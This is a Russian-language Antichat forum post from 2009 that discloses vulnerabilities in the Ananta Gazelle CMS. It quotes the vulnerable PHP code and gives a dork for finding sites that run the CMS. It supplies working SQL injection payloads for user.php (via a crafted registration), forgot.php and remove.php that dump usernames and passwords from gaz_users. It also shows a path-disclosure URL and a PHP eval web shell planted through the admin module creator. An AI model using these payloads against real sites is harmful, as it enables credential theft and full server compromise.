Форум АНТИЧАТ - Уязвимости Ananta Gazelle

Уязвимости Ananta Gazelle

22.04.2009, 19:07

Dimi4

Reservists Of Antichat - Level 6

Регистрация: 19.03.2007

Сообщений: 953

Провел на форуме:
7617458

Репутация: 3965

Отправить сообщение для Dimi4 с помощью ICQ

Уязвимости Ananta Gazelle

Ananta Gazelle

Product : Ananta Gazelle
Dork : "CMS: Ananta Gazelle"
Site: http://www.anantasoft.com/
Found by: Dimi4
Date : 22.04.09
Пробегся быстренько по коду:
Довольна интересная скуль. Рассмотрим user.php

PHP код:


		
			
    $user = $_GET["user"];

    $q = mysql_query("select name from ".$tableprefix."users");

    while ($k = mysql_fetch_array($q, MYSQL_ASSOC)) {

        $userlist[$k{'name'}] = 1;

    }

    foreach ($userlist as $name => $value) {

        if ($user == $name) {

            $q = mysql_query("select name, email, joindate, showemail from ".$tableprefix."users where name='".$user."'");

            while ($k = mysql_fetch_array($q, MYSQL_ASSOC)) {

                $content = "<h3>User profile: ".$k{'name'}."</h3><div>

                    <p>Username: ".$k{'name'}."</p>";

Что же делает наша цмска? А она чтобы обезопасится от скули берет всех юзеров с базы а потом чекает с гетом) Ну и ладненько. Посмотрев на register.php понимаем что никакой фильтрации там нет! Думаю вы поняли к чему я веду.
Регестрируемся на сайте как:

Код:

a' union select concat_ws(0x3a,name,pass),2,3,4+from+gaz_users --

А далее:

Код:

user.php?user=a' union select concat_ws(0x3a,name,pass),2,3,4+from+gaz_users --

Sql-inj:
forgot.php

PHP код:


		
			
    $users = mysql_query("select name from ".$tableprefix."users where email='".$_POST["email"]."'");

        while ($user = mysql_fetch_array($users, MYSQL_ASSOC)) {

Код:

POST: email=e' union select concat_ws(0x3a,name,pass),2,3,4,5,6,7,8,9+from+gaz_users --

Раскрытие пути: (Вызываем скрипт из папки /admin/)

http://localhost/Ananta_Gazelle1.0/admin/edituser.php

Sql-inj
remove.php

PHP код:


		
			
$modules = mysql_query("select name, file from ".$tableprefix."modules where number='".$_POST["number"]."'");

            while ($mod = mysql_fetch_array($modules, MYSQL_ASSOC)) {

                $name = $mod{'name'};

Код:

POST: number=1' union select concat_ws(0x3a,name,pass),2,3,4,5+from+gaz_users --

Заливка шелла: Admin -> Create Module:
Name xek;
Code:

PHP код:


		
			
<?php if(get_magic_quotes_gpc()) { eval(stripslashes($_GET['ev'])); } else { eval($_GET['ev']); } ?>

__________________

BlackHat.

MoDL

Последний раз редактировалось Dimi4; 22.04.2009 в 19:21..